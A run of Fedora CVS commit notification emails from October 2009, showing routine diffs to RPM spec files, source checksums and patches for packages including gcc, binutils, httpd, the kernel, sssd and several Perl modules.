RCS file: /cvs/pkgs/rpms/perl-Email-Date-Format/EL-5/sources,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- sources	20 Dec 2007 19:33:58 -0000	1.1
+++ sources	27 Oct 2009 18:10:46 -0000	1.2
@@ -0,0 +1 @@
+7ae25275da6ab272aa8b40141eac9f82  Email-Date-Format-1.002.tar.gz



From spot at fedoraproject.org  Tue Oct 27 18:13:05 2009
From: spot at fedoraproject.org (Tom Callaway)
Date: Tue, 27 Oct 2009 18:13:05 +0000 (UTC)
Subject: rpms/perl-Email-Date-Format/EL-4 perl-Email-Date-Format.spec, 1.1,
	1.2
Message-ID: <20091027181305.A2AA311C00E6@cvs1.fedora.phx.redhat.com>

Author: spot

Update of /cvs/pkgs/rpms/perl-Email-Date-Format/EL-4
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv20960

Modified Files:
	perl-Email-Date-Format.spec 
Log Message:
el4


Index: perl-Email-Date-Format.spec
===================================================================
RCS file: /cvs/pkgs/rpms/perl-Email-Date-Format/EL-4/perl-Email-Date-Format.spec,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- perl-Email-Date-Format.spec	27 Oct 2009 18:10:46 -0000	1.1
+++ perl-Email-Date-Format.spec	27 Oct 2009 18:13:05 -0000	1.2
@@ -1,6 +1,6 @@
 Name:           perl-Email-Date-Format
 Version:        1.002
-Release:        4%{?dist}
+Release:        4%{?dist}.1
 Summary:        Produce RFC 2822 date strings
 Group:          Development/Libraries
 License:        GPL+ or Artistic



From spot at fedoraproject.org  Tue Oct 27 18:18:54 2009
From: spot at fedoraproject.org (Tom Callaway)
Date: Tue, 27 Oct 2009 18:18:54 +0000 (UTC)
Subject: rpms/perl-SNMP_Session/EL-5 perl-SNMP_Session.spec, 1.5, 1.6 sources,
	1.3, 1.4
Message-ID: <20091027181854.2C82F11C00E6@cvs1.fedora.phx.redhat.com>

Author: spot

Update of /cvs/pkgs/rpms/perl-SNMP_Session/EL-5
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv22215

Modified Files:
	perl-SNMP_Session.spec sources 
Log Message:
update to current


Index: perl-SNMP_Session.spec
===================================================================
RCS file: /cvs/pkgs/rpms/perl-SNMP_Session/EL-5/perl-SNMP_Session.spec,v
retrieving revision 1.5
retrieving revision 1.6
diff -u -p -r1.5 -r1.6
--- perl-SNMP_Session.spec	7 Sep 2006 13:58:07 -0000	1.5
+++ perl-SNMP_Session.spec	27 Oct 2009 18:18:53 -0000	1.6
@@ -1,15 +1,16 @@
 Name:           perl-SNMP_Session
-Version:        1.08
+Version:        1.12
 Release:        3%{?dist}
 Summary:        SNMP support for Perl 5
 
 Group:          Development/Libraries
-License:        Artistic
+License:        Artistic 2.0
 URL:            http://www.switch.ch/misc/leinen/snmp/perl/
 Source0:        http://www.switch.ch/misc/leinen/snmp/perl/dist/SNMP_Session-%{version}.tar.gz
 BuildRoot:      %{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)
 
 BuildArch:      noarch
+BuildRequires:  perl(ExtUtils::MakeMaker)
 Requires:       perl(:MODULE_COMPAT_%(eval "`%{__perl} -V:version`"; echo $version))
 
 %description
@@ -53,6 +54,21 @@ rm -rf $RPM_BUILD_ROOT
 
 
 %changelog
+* Sun Jul 26 2009 Fedora Release Engineering <rel-eng at lists.fedoraproject.org> - 1.12-3
+- Rebuilt for https://fedoraproject.org/wiki/Fedora_12_Mass_Rebuild
+
+* Thu Feb 26 2009 Fedora Release Engineering <rel-eng at lists.fedoraproject.org> - 1.12-2
+- Rebuilt for https://fedoraproject.org/wiki/Fedora_11_Mass_Rebuild
+
+* Tue Apr 22 2008 Tom "spot" Callaway <tcallawa at redhat.com> - 1.12-1
+- update to 1.12 (license change to Artistic 2.0)
+
+* Thu Mar 06 2008 Tom "spot" Callaway <tcallawa at redhat.com> - 1.08-4.1
+- Rebuild for new perl
+
+* Tue Oct 16 2007 Tom "spot" Callaway <tcallawa at redhat.com> - 1.08-3.1
+- add BR: perl(ExtUtils::MakeMaker)
+
 * Thu Sep  7 2006 Jose Pedro Oliveira <jpo at di.uminho.pt> - 1.08-3
 - Rebuild for FC6.
 


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/perl-SNMP_Session/EL-5/sources,v
retrieving revision 1.3
retrieving revision 1.4
diff -u -p -r1.3 -r1.4
--- sources	29 Dec 2005 01:51:22 -0000	1.3
+++ sources	27 Oct 2009 18:18:53 -0000	1.4
@@ -1 +1 @@
-91ab58bd2c170145436f68578a2705ab  SNMP_Session-1.08.tar.gz
+5f6b365b4c3815b13d7a902d94e254af  SNMP_Session-1.12.tar.gz



From pkgdb at fedoraproject.org  Tue Oct 27 18:43:54 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Tue, 27 Oct 2009 18:43:54 +0000
Subject: [pkgdb] perl-SNMP_Session (Fedora EPEL, 5) updated by spot
Message-ID: <20091027184354.2F94A10F87F@bastion2.fedora.phx.redhat.com>

spot added a Fedora EPEL 5 branch for perl-SNMP_Session
spot has set commit to Approved for 107427 on perl-SNMP_Session (Fedora EPEL 5)
spot has set checkout to Approved for 107427 on perl-SNMP_Session (Fedora EPEL 5)
spot has set build to Approved for 107427 on perl-SNMP_Session (Fedora EPEL 5)
spot changed owner of perl-SNMP_Session in Fedora EPEL 5 to spot

To make changes to this package see:
  /pkgdb/packages/name/perl-SNMP_Session



From jakub at fedoraproject.org  Tue Oct 27 18:47:23 2009
From: jakub at fedoraproject.org (Jakub Jelinek)
Date: Tue, 27 Oct 2009 18:47:23 +0000 (UTC)
Subject: rpms/gcc/F-12 gcc44-hack.patch,1.5,1.6
Message-ID: <20091027184723.DFCAD11C00E6@cvs1.fedora.phx.redhat.com>

Author: jakub

Update of /cvs/pkgs/rpms/gcc/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv28645

Modified Files:
	gcc44-hack.patch 
Log Message:
4.4.2-7

gcc44-hack.patch:
 gcc/ada/make.adb   |    1 +
 libada/Makefile.in |   32 +++++++++++++++++++++++++++-----
 2 files changed, 28 insertions(+), 5 deletions(-)

Index: gcc44-hack.patch
===================================================================
RCS file: /cvs/pkgs/rpms/gcc/F-12/gcc44-hack.patch,v
retrieving revision 1.5
retrieving revision 1.6
diff -u -p -r1.5 -r1.6
--- gcc44-hack.patch	9 Apr 2009 12:54:27 -0000	1.5
+++ gcc44-hack.patch	27 Oct 2009 18:47:23 -0000	1.6
@@ -1,6 +1,6 @@
 --- libada/Makefile.in.jj	2009-01-14 12:07:35.000000000 +0100
 +++ libada/Makefile.in	2009-01-15 14:25:33.000000000 +0100
-@@ -67,17 +67,39 @@ version := $(shell cat $(srcdir)/../gcc/
+@@ -69,18 +69,40 @@ version := $(shell cat $(srcdir)/../gcc/
  libsubdir := $(libdir)/gcc/$(target_noncanonical)/$(version)$(MULTISUBDIR)
  ADA_RTS_DIR=$(GCC_DIR)/ada/rts$(subst /,_,$(MULTISUBDIR))
  
@@ -38,12 +38,14 @@
          "SHELL=$(SHELL)" \
 -        "GNATLIBFLAGS=$(GNATLIBFLAGS) $(MULTIFLAGS)" \
 -        "GNATLIBCFLAGS=$(GNATLIBCFLAGS) $(MULTIFLAGS)" \
+-        "GNATLIBCFLAGS_FOR_C=$(GNATLIBCFLAGS_FOR_C) $(MULTIFLAGS)" \
 +        "GNATLIBFLAGS=$(strip $(GNATLIBFLAGS) $(MULTIFLAGS) $(DEFAULTMULTIFLAGS))" \
 +        "GNATLIBCFLAGS=$(strip $(GNATLIBCFLAGS) $(MULTIFLAGS) $(DEFAULTMULTIFLAGS))" \
++        "GNATLIBCFLAGS_FOR_C=$(strip $(GNATLIBCFLAGS_FOR_C) $(MULTIFLAGS) $(DEFAULTMULTIFLAGS))" \
          "TARGET_LIBGCC2_CFLAGS=$(TARGET_LIBGCC2_CFLAGS)" \
          "THREAD_KIND=$(THREAD_KIND)" \
          "TRACE=$(TRACE)" \
-@@ -88,7 +110,7 @@ LIBADA_FLAGS_TO_PASS = \
+@@ -91,7 +113,7 @@ LIBADA_FLAGS_TO_PASS = \
          "exeext=.exeext.should.not.be.used " \
  	'CC=the.host.compiler.should.not.be.needed' \
  	"GCC_FOR_TARGET=$(CC)" \



From spot at fedoraproject.org  Tue Oct 27 18:51:34 2009
From: spot at fedoraproject.org (Tom Callaway)
Date: Tue, 27 Oct 2009 18:51:34 +0000 (UTC)
Subject: rpms/perl-SNMP_Session/EL-5 perl-SNMP_Session.spec,1.6,1.7
Message-ID: <20091027185134.EBD7F11C00E6@cvs1.fedora.phx.redhat.com>

Author: spot

Update of /cvs/pkgs/rpms/perl-SNMP_Session/EL-5
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv29483

Modified Files:
	perl-SNMP_Session.spec 
Log Message:
minor tag bump


Index: perl-SNMP_Session.spec
===================================================================
RCS file: /cvs/pkgs/rpms/perl-SNMP_Session/EL-5/perl-SNMP_Session.spec,v
retrieving revision 1.6
retrieving revision 1.7
diff -u -p -r1.6 -r1.7
--- perl-SNMP_Session.spec	27 Oct 2009 18:18:53 -0000	1.6
+++ perl-SNMP_Session.spec	27 Oct 2009 18:51:34 -0000	1.7
@@ -1,6 +1,6 @@
 Name:           perl-SNMP_Session
 Version:        1.12
-Release:        3%{?dist}
+Release:        3%{?dist}.1
 Summary:        SNMP support for Perl 5
 
 Group:          Development/Libraries
@@ -54,6 +54,9 @@ rm -rf $RPM_BUILD_ROOT
 
 
 %changelog
+* Tue Oct 27 2009 Tom "spot" Callaway <tcallawa at redhat.com> - 1.12-3.1
+- minor bump for EL-5
+
 * Sun Jul 26 2009 Fedora Release Engineering <rel-eng at lists.fedoraproject.org> - 1.12-3
 - Rebuilt for https://fedoraproject.org/wiki/Fedora_12_Mass_Rebuild
 



From jkratoch at fedoraproject.org  Tue Oct 27 18:56:42 2009
From: jkratoch at fedoraproject.org (Jan Kratochvil)
Date: Tue, 27 Oct 2009 18:56:42 +0000 (UTC)
Subject: rpms/binutils/devel binutils.spec,1.176,1.177
Message-ID: <20091027185642.967ED11C00E6@cvs1.fedora.phx.redhat.com>

Author: jkratoch

Update of /cvs/pkgs/rpms/binutils/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv31697

Modified Files:
	binutils.spec 
Log Message:
* Tue Oct 27 2009 Jan Kratochvil <jan.kratochvil at redhat.com> 2.20.51.0.2-2
- Fix rpm --excludedocs (BZ 515922).
- Fix spurious scriplet errors by `exit 0'. (BZ 517979, Nick Clifton)



Index: binutils.spec
===================================================================
RCS file: /cvs/pkgs/rpms/binutils/devel/binutils.spec,v
retrieving revision 1.176
retrieving revision 1.177
diff -u -p -r1.176 -r1.177
--- binutils.spec	12 Oct 2009 11:18:37 -0000	1.176
+++ binutils.spec	27 Oct 2009 18:56:42 -0000	1.177
@@ -17,7 +17,7 @@
 Summary: A GNU collection of binary utilities
 Name: %{?cross}binutils%{?_with_debug:-debug}
 Version: 2.20.51.0.2
-Release: 1%{?dist}
+Release: 2%{?dist}
 License: GPLv3+
 Group: Development/Tools
 URL: http://sources.redhat.com/binutils
@@ -297,34 +297,51 @@ rm -rf %{buildroot}
 %if %{isnative}
 %post
 /sbin/ldconfig
-/sbin/install-info --info-dir=%{_infodir} %{_infodir}/as.info
-/sbin/install-info --info-dir=%{_infodir} %{_infodir}/binutils.info
-/sbin/install-info --info-dir=%{_infodir} %{_infodir}/gprof.info
-/sbin/install-info --info-dir=%{_infodir} %{_infodir}/ld.info
-/sbin/install-info --info-dir=%{_infodir} %{_infodir}/standards.info
-/sbin/install-info --info-dir=%{_infodir} %{_infodir}/configure.info
+# For --excludedocs:
+if [ -e %{_infodir}/binutils.info.gz ]
+then
+  /sbin/install-info --info-dir=%{_infodir} %{_infodir}/as.info.gz
+  /sbin/install-info --info-dir=%{_infodir} %{_infodir}/binutils.info.gz
+  /sbin/install-info --info-dir=%{_infodir} %{_infodir}/gprof.info.gz
+  /sbin/install-info --info-dir=%{_infodir} %{_infodir}/ld.info.gz
+  /sbin/install-info --info-dir=%{_infodir} %{_infodir}/standards.info.gz
+  /sbin/install-info --info-dir=%{_infodir} %{_infodir}/configure.info.gz
+fi
 exit 0
 
 %preun
-if [ $1 = 0 ] ;then
-  /sbin/install-info --delete --info-dir=%{_infodir} %{_infodir}/as.info
-  /sbin/install-info --delete --info-dir=%{_infodir} %{_infodir}/binutils.info
-  /sbin/install-info --delete --info-dir=%{_infodir} %{_infodir}/gprof.info
-  /sbin/install-info --delete --info-dir=%{_infodir} %{_infodir}/ld.info
-  /sbin/install-info --delete --info-dir=%{_infodir} %{_infodir}/standards.info
-  /sbin/install-info --delete --info-dir=%{_infodir} %{_infodir}/configure.info
+if [ $1 = 0 ]
+then
+  if [ -e %{_infodir}/binutils.info.gz ]
+  then
+    /sbin/install-info --delete --info-dir=%{_infodir} %{_infodir}/as.info.gz
+    /sbin/install-info --delete --info-dir=%{_infodir} %{_infodir}/binutils.info.gz
+    /sbin/install-info --delete --info-dir=%{_infodir} %{_infodir}/gprof.info.gz
+    /sbin/install-info --delete --info-dir=%{_infodir} %{_infodir}/ld.info.gz
+    /sbin/install-info --delete --info-dir=%{_infodir} %{_infodir}/standards.info.gz
+    /sbin/install-info --delete --info-dir=%{_infodir} %{_infodir}/configure.info.gz
+  fi
 fi
 exit 0
 
 %postun -p /sbin/ldconfig
 
 %post devel
-/sbin/install-info --info-dir=%{_infodir} %{_infodir}/bfd.info
+if [ -e %{_infodir}/bfd.info.gz ]
+then
+  /sbin/install-info --info-dir=%{_infodir} %{_infodir}/bfd.info.gz
+fi
+exit 0
 
 %preun devel
-if [ $1 = 0 ] ;then
-  /sbin/install-info --delete --info-dir=%{_infodir} %{_infodir}/bfd.info
+if [ $1 = 0 ]
+then
+  if [ -e %{_infodir}/bfd.info.gz ]
+  then
+    /sbin/install-info --delete --info-dir=%{_infodir} %{_infodir}/bfd.info.gz
+  fi
 fi
+exit 0
 %endif # %{isnative}
 
 %files -f %{?cross}binutils.lang
@@ -351,6 +368,10 @@ fi
 %endif # %{isnative}
 
 %changelog
+* Tue Oct 27 2009 Jan Kratochvil <jan.kratochvil at redhat.com> 2.20.51.0.2-2
+- Fix rpm --excludedocs (BZ 515922).
+- Fix spurious scriplet errors by `exit 0'. (BZ 517979, Nick Clifton)
+
 * Mon Oct 12 2009 Nick Clifton <nickc at redhat.com> 2.20.51.0.2-1
 - Rebase on 2.20 tarball.
 - Remove redundant moxie patch.



From spot at fedoraproject.org  Tue Oct 27 19:06:17 2009
From: spot at fedoraproject.org (Tom Callaway)
Date: Tue, 27 Oct 2009 19:06:17 +0000 (UTC)
Subject: rpms/httpd/F-12 index.html,1.25,1.26
Message-ID: <20091027190617.8535E11C0267@cvs1.fedora.phx.redhat.com>

Author: spot

Update of /cvs/pkgs/rpms/httpd/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv1582/F-12

Modified Files:
	index.html 
Log Message:
update test page to prevent legal complaint emails


Index: index.html
===================================================================
RCS file: /cvs/pkgs/rpms/httpd/F-12/index.html,v
retrieving revision 1.25
retrieving revision 1.26
diff -u -p -r1.25 -r1.26
--- index.html	17 Sep 2007 19:02:35 -0000	1.25
+++ index.html	27 Oct 2009 19:06:15 -0000	1.26
@@ -103,7 +103,13 @@
 
 					<p>For example, if you experienced problems while visiting www.example.com, you should send e-mail to "webmaster at example.com".</p>
 
-					<p>For information on Fedora, please visit the <a href="http://fedoraproject.org/">Fedora Project website</a>.</p>
+					<p>Fedora is a distribution of Linux, a popular computer operating system. It is commonly used by hosting companies because it is free, and includes free web server software. Many times, they do not set up their web server correctly, and it displays this "test page" instead of the expected website. 
+
+					<p>Accordingly, please keep these facts in mind:
+					<li>Neither the Fedora Project or Red Hat has any affiliation with any website or content hosted from this server (unless otherwise explicitly stated).</li>
+					<li>Neither the Fedora Project or Red Hat has "hacked" this webserver, this test page is an included component of Apache's httpd webserver software.</li>
+
+					<p>For more information about Fedora, please visit the <a href="http://fedoraproject.org/">Fedora Project website</a>.</p>
 					<hr />
 				</div>
 



From spot at fedoraproject.org  Tue Oct 27 19:06:17 2009
From: spot at fedoraproject.org (Tom Callaway)
Date: Tue, 27 Oct 2009 19:06:17 +0000 (UTC)
Subject: rpms/httpd/devel index.html,1.25,1.26
Message-ID: <20091027190617.E67A011C02BB@cvs1.fedora.phx.redhat.com>

Author: spot

Update of /cvs/pkgs/rpms/httpd/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv1582/devel

Modified Files:
	index.html 
Log Message:
update test page to prevent legal complaint emails


Index: index.html
===================================================================
RCS file: /cvs/pkgs/rpms/httpd/devel/index.html,v
retrieving revision 1.25
retrieving revision 1.26
diff -u -p -r1.25 -r1.26
--- index.html	17 Sep 2007 19:02:35 -0000	1.25
+++ index.html	27 Oct 2009 19:06:17 -0000	1.26
@@ -103,7 +103,13 @@
 
 					<p>For example, if you experienced problems while visiting www.example.com, you should send e-mail to "webmaster at example.com".</p>
 
-					<p>For information on Fedora, please visit the <a href="http://fedoraproject.org/">Fedora Project website</a>.</p>
+					<p>Fedora is a distribution of Linux, a popular computer operating system. It is commonly used by hosting companies because it is free, and includes free web server software. Many times, they do not set up their web server correctly, and it displays this "test page" instead of the expected website. 
+
+					<p>Accordingly, please keep these facts in mind:
+					<li>Neither the Fedora Project or Red Hat has any affiliation with any website or content hosted from this server (unless otherwise explicitly stated).</li>
+					<li>Neither the Fedora Project or Red Hat has "hacked" this webserver, this test page is an included component of Apache's httpd webserver software.</li>
+
+					<p>For more information about Fedora, please visit the <a href="http://fedoraproject.org/">Fedora Project website</a>.</p>
 					<hr />
 				</div>
 



From linville at fedoraproject.org  Tue Oct 27 19:08:17 2009
From: linville at fedoraproject.org (John W. Linville)
Date: Tue, 27 Oct 2009 19:08:17 +0000 (UTC)
Subject: rpms/kernel/devel config-generic, 1.333, 1.334 kernel.spec, 1.1834, 
	1.1835
Message-ID: <20091027190817.7748011C00E6@cvs1.fedora.phx.redhat.com>

Author: linville

Update of /cvs/pkgs/rpms/kernel/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv2162

Modified Files:
	config-generic kernel.spec 
Log Message:
Disable build of prism54 module


Index: config-generic
===================================================================
RCS file: /cvs/pkgs/rpms/kernel/devel/config-generic,v
retrieving revision 1.333
retrieving revision 1.334
diff -u -p -r1.333 -r1.334
--- config-generic	16 Oct 2009 15:35:53 -0000	1.333
+++ config-generic	27 Oct 2009 19:08:16 -0000	1.334
@@ -1485,7 +1485,7 @@ CONFIG_PCI_HERMES=m
 CONFIG_PLX_HERMES=m
 CONFIG_PCI_ATMEL=m
 CONFIG_MWL8K=m
-CONFIG_PRISM54=m
+# CONFIG_PRISM54 is not set
 CONFIG_PCMCIA_HERMES=m
 CONFIG_PCMCIA_SPECTRUM=m
 CONFIG_PCMCIA_ATMEL=m


Index: kernel.spec
===================================================================
RCS file: /cvs/pkgs/rpms/kernel/devel/kernel.spec,v
retrieving revision 1.1834
retrieving revision 1.1835
diff -u -p -r1.1834 -r1.1835
--- kernel.spec	27 Oct 2009 04:56:01 -0000	1.1834
+++ kernel.spec	27 Oct 2009 19:08:16 -0000	1.1835
@@ -1971,6 +1971,9 @@ fi
 # ##############################################################
 
 %changelog
+* Tue Oct 27 2009 John W. Linville <linville at redhat.com>
+- Disable build of prism54 module
+
 * Tue Oct 27 2009 Dave Airlie <airlied at redhat.com>
 - Get dd command line args correct.
 



From spot at fedoraproject.org  Tue Oct 27 19:10:38 2009
From: spot at fedoraproject.org (Tom Callaway)
Date: Tue, 27 Oct 2009 19:10:38 +0000 (UTC)
Subject: rpms/httpd/F-12 httpd.spec,1.139,1.140
Message-ID: <20091027191038.66FA011C02C6@cvs1.fedora.phx.redhat.com>

Author: spot

Update of /cvs/pkgs/rpms/httpd/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv2699/F-12

Modified Files:
	httpd.spec 
Log Message:
update explanatory text on test page


Index: httpd.spec
===================================================================
RCS file: /cvs/pkgs/rpms/httpd/F-12/httpd.spec,v
retrieving revision 1.139
retrieving revision 1.140
diff -u -p -r1.139 -r1.140
--- httpd.spec	8 Sep 2009 15:58:46 -0000	1.139
+++ httpd.spec	27 Oct 2009 19:10:37 -0000	1.140
@@ -7,7 +7,7 @@
 Summary: Apache HTTP Server
 Name: httpd
 Version: 2.2.13
-Release: 3%{?dist}
+Release: 4%{?dist}
 URL: http://httpd.apache.org/
 Source0: http://www.apache.org/dist/httpd/httpd-%{version}.tar.gz
 Source1: index.html
@@ -484,6 +484,9 @@ rm -rf $RPM_BUILD_ROOT
 %{_libdir}/httpd/build/*.sh
 
 %changelog
+* Tue Oct 27 2009 Tom "spot" Callaway <tcallawa at redhat.com> 2.2.13-4
+- add additional explanatory text to test page to help prevent legal emails to Fedora
+
 * Tue Sep  8 2009 Joe Orton <jorton at redhat.com> 2.2.13-2
 - restart service in posttrans (#491567)
 



From spot at fedoraproject.org  Tue Oct 27 19:10:39 2009
From: spot at fedoraproject.org (Tom Callaway)
Date: Tue, 27 Oct 2009 19:10:39 +0000 (UTC)
Subject: rpms/httpd/devel httpd.spec,1.139,1.140
Message-ID: <20091027191039.01A0211C02C6@cvs1.fedora.phx.redhat.com>

Author: spot

Update of /cvs/pkgs/rpms/httpd/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv2699/devel

Modified Files:
	httpd.spec 
Log Message:
update explanatory text on test page


Index: httpd.spec
===================================================================
RCS file: /cvs/pkgs/rpms/httpd/devel/httpd.spec,v
retrieving revision 1.139
retrieving revision 1.140
diff -u -p -r1.139 -r1.140
--- httpd.spec	8 Sep 2009 15:58:46 -0000	1.139
+++ httpd.spec	27 Oct 2009 19:10:38 -0000	1.140
@@ -7,7 +7,7 @@
 Summary: Apache HTTP Server
 Name: httpd
 Version: 2.2.13
-Release: 3%{?dist}
+Release: 4%{?dist}
 URL: http://httpd.apache.org/
 Source0: http://www.apache.org/dist/httpd/httpd-%{version}.tar.gz
 Source1: index.html
@@ -484,6 +484,9 @@ rm -rf $RPM_BUILD_ROOT
 %{_libdir}/httpd/build/*.sh
 
 %changelog
+* Tue Oct 27 2009 Tom "spot" Callaway <tcallawa at redhat.com> 2.2.13-4
+- add additional explanatory text to test page to help prevent legal emails to Fedora
+
 * Tue Sep  8 2009 Joe Orton <jorton at redhat.com> 2.2.13-2
 - restart service in posttrans (#491567)
 



From sgallagh at fedoraproject.org  Tue Oct 27 19:29:02 2009
From: sgallagh at fedoraproject.org (Stephen Gallagher)
Date: Tue, 27 Oct 2009 19:29:02 +0000 (UTC)
Subject: rpms/sssd/devel .cvsignore, 1.12, 1.13 sources, 1.13, 1.14 sssd.spec,
	1.26, 1.27 0001-Fix-migration-script-for-pre-0.5-local-domains.patch, 
	1.1, NONE sssd.conf.default, 1.5, NONE
Message-ID: <20091027192902.70BEE11C00E6@cvs1.fedora.phx.redhat.com>

Author: sgallagh

Update of /cvs/pkgs/rpms/sssd/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv8886

Modified Files:
	.cvsignore sources sssd.spec 
Removed Files:
	0001-Fix-migration-script-for-pre-0.5-local-domains.patch 
	sssd.conf.default 
Log Message:
New upstream release

Fix segfaults and upgrade issues.
Provide newer default configuration.



Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/sssd/devel/.cvsignore,v
retrieving revision 1.12
retrieving revision 1.13
diff -u -p -r1.12 -r1.13
--- .cvsignore	23 Oct 2009 19:52:18 -0000	1.12
+++ .cvsignore	27 Oct 2009 19:29:01 -0000	1.13
@@ -1 +1 @@
-sssd-0.7.0.tar.gz
+sssd-0.7.1.tar.gz


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/sssd/devel/sources,v
retrieving revision 1.13
retrieving revision 1.14
diff -u -p -r1.13 -r1.14
--- sources	23 Oct 2009 19:52:18 -0000	1.13
+++ sources	27 Oct 2009 19:29:01 -0000	1.14
@@ -1 +1 @@
-403945c70c902302e5d8babecb24b096  sssd-0.7.0.tar.gz
+827ef46d27c54ce790d329a6b1b82586  sssd-0.7.1.tar.gz


Index: sssd.spec
===================================================================
RCS file: /cvs/pkgs/rpms/sssd/devel/sssd.spec,v
retrieving revision 1.26
retrieving revision 1.27
diff -u -p -r1.26 -r1.27
--- sssd.spec	26 Oct 2009 13:08:58 -0000	1.26
+++ sssd.spec	27 Oct 2009 19:29:01 -0000	1.27
@@ -2,26 +2,23 @@
 %{!?python_sitelib: %global python_sitelib %(%{__python} -c "from distutils.sysconfig import *; import sys; sys.stdout.write(get_python_lib())")}
 
 Name: sssd
-Version: 0.7.0
-Release: 2%{?dist}
+Version: 0.7.1
+Release: 1%{?dist}
 Group: Applications/System
 Summary: System Security Services Daemon
 # The entire source code is GPLv3+ except replace/ which is LGPLv3+
 License: GPLv3+ and LGPLv3+
 URL: http://fedorahosted.org/sssd
 Source: https://fedorahosted.org/released/sssd/sssd-%{version}.tar.gz
-Source1: sssd.conf.default
 BuildRoot: %(mktemp -ud %{_tmppath}/%{name}-%{version}-%{release}-XXXXXX)
 
 ### Patches ###
 
-Patch1: 0001-Fix-migration-script-for-pre-0.5-local-domains.patch
-
 ### Dependencies ###
 
 Requires: libldb >= 0.9.3
 Requires: libtdb >= 1.1.3
-Requires: sssd-client = 0.7.0
+Requires: sssd-client = 0.7.1
 Requires(post): python
 Requires(preun):  initscripts chkconfig
 Requires(postun): /sbin/service
@@ -75,8 +72,6 @@ service.
 %prep
 %setup -q
 
-%patch1 -p1 -b .upgrade_fixes
-
 %build
 %configure \
     --without-tests \
@@ -97,7 +92,7 @@ make install DESTDIR=$RPM_BUILD_ROOT
 /usr/lib/rpm/find-lang.sh $RPM_BUILD_ROOT sss_client
 
 mkdir -p $RPM_BUILD_ROOT/%{_sysconfdir}/sssd
-install -m600 %{SOURCE1} $RPM_BUILD_ROOT%{_sysconfdir}/sssd/sssd.conf
+install -m600 server/examples/sssd.conf $RPM_BUILD_ROOT%{_sysconfdir}/sssd/sssd.conf
 
 install -m400 server/config/etc/sssd.api.conf $RPM_BUILD_ROOT%{_sysconfdir}/sssd/sssd.api.conf
 install -m400 server/config/etc/sssd.api.d/* $RPM_BUILD_ROOT%{_sysconfdir}/sssd/sssd.api.d/
@@ -194,6 +189,11 @@ fi
 %postun client -p /sbin/ldconfig
 
 %changelog
+* Tue Oct 27 2009 Stephen Gallagher <sgallagh at redhat.com> - 0.7.1-1
+- Fix segfault in sssd_pam when cache_credentials was enabled
+- Update the sample configuration
+- Fix upgrade issues caused by data provider service removal
+
 * Mon Oct 26 2009 Stephen Gallagher <sgallagh at redhat.com> - 0.7.0-2
 - Fix upgrade issues from old (pre-0.5.0) releases of SSSD
 


--- 0001-Fix-migration-script-for-pre-0.5-local-domains.patch DELETED ---


--- sssd.conf.default DELETED ---



From jakub at fedoraproject.org  Tue Oct 27 19:41:35 2009
From: jakub at fedoraproject.org (Jakub Jelinek)
Date: Tue, 27 Oct 2009 19:41:35 +0000 (UTC)
Subject: rpms/gcc/F-12 gcc.spec,1.86,1.87 sources,1.311,1.312
Message-ID: <20091027194135.E330311C00E6@cvs1.fedora.phx.redhat.com>

Author: jakub

Update of /cvs/pkgs/rpms/gcc/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv11891

Modified Files:
	gcc.spec sources 
Log Message:
4.4.2-7


Index: gcc.spec
===================================================================
RCS file: /cvs/pkgs/rpms/gcc/F-12/gcc.spec,v
retrieving revision 1.86
retrieving revision 1.87
diff -u -p -r1.86 -r1.87
--- gcc.spec	27 Oct 2009 18:02:14 -0000	1.86
+++ gcc.spec	27 Oct 2009 19:41:34 -0000	1.87
@@ -1,5 +1,5 @@
 %global DATE 20091027
-%global SVNREV 153608
+%global SVNREV 153611
 %global gcc_version 4.4.2
 # Note, gcc_release must be integer, if you want to add suffixes to
 # %{release}, append them after %{gcc_release} on Release: line.


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/gcc/F-12/sources,v
retrieving revision 1.311
retrieving revision 1.312
diff -u -p -r1.311 -r1.312
--- sources	27 Oct 2009 18:02:14 -0000	1.311
+++ sources	27 Oct 2009 19:41:34 -0000	1.312
@@ -1,2 +1,2 @@
 2659f09c2e43ef8b7d4406321753f1b2  fastjar-0.97.tar.gz
-7b733f864bf498c34cd46f7bc9ff6134  gcc-4.4.2-20091027.tar.bz2
+d1da0b301783d57866ef992131a307a1  gcc-4.4.2-20091027.tar.bz2



From sgallagh at fedoraproject.org  Tue Oct 27 19:45:11 2009
From: sgallagh at fedoraproject.org (Stephen Gallagher)
Date: Tue, 27 Oct 2009 19:45:11 +0000 (UTC)
Subject: rpms/sssd/F-12 .cvsignore, 1.12, 1.13 sources, 1.13, 1.14 sssd.spec,
	1.26, 1.27 0001-Fix-migration-script-for-pre-0.5-local-domains.patch, 
	1.1, NONE
Message-ID: <20091027194511.7892D11C00E6@cvs1.fedora.phx.redhat.com>

Author: sgallagh

Update of /cvs/pkgs/rpms/sssd/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv12500

Modified Files:
	.cvsignore sources sssd.spec 
Removed Files:
	0001-Fix-migration-script-for-pre-0.5-local-domains.patch 
Log Message:
New upstream release

Fix segfaults and upgrade issues.
Provide newer default configuration.




Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/sssd/F-12/.cvsignore,v
retrieving revision 1.12
retrieving revision 1.13
diff -u -p -r1.12 -r1.13
--- .cvsignore	23 Oct 2009 19:59:19 -0000	1.12
+++ .cvsignore	27 Oct 2009 19:45:10 -0000	1.13
@@ -1 +1 @@
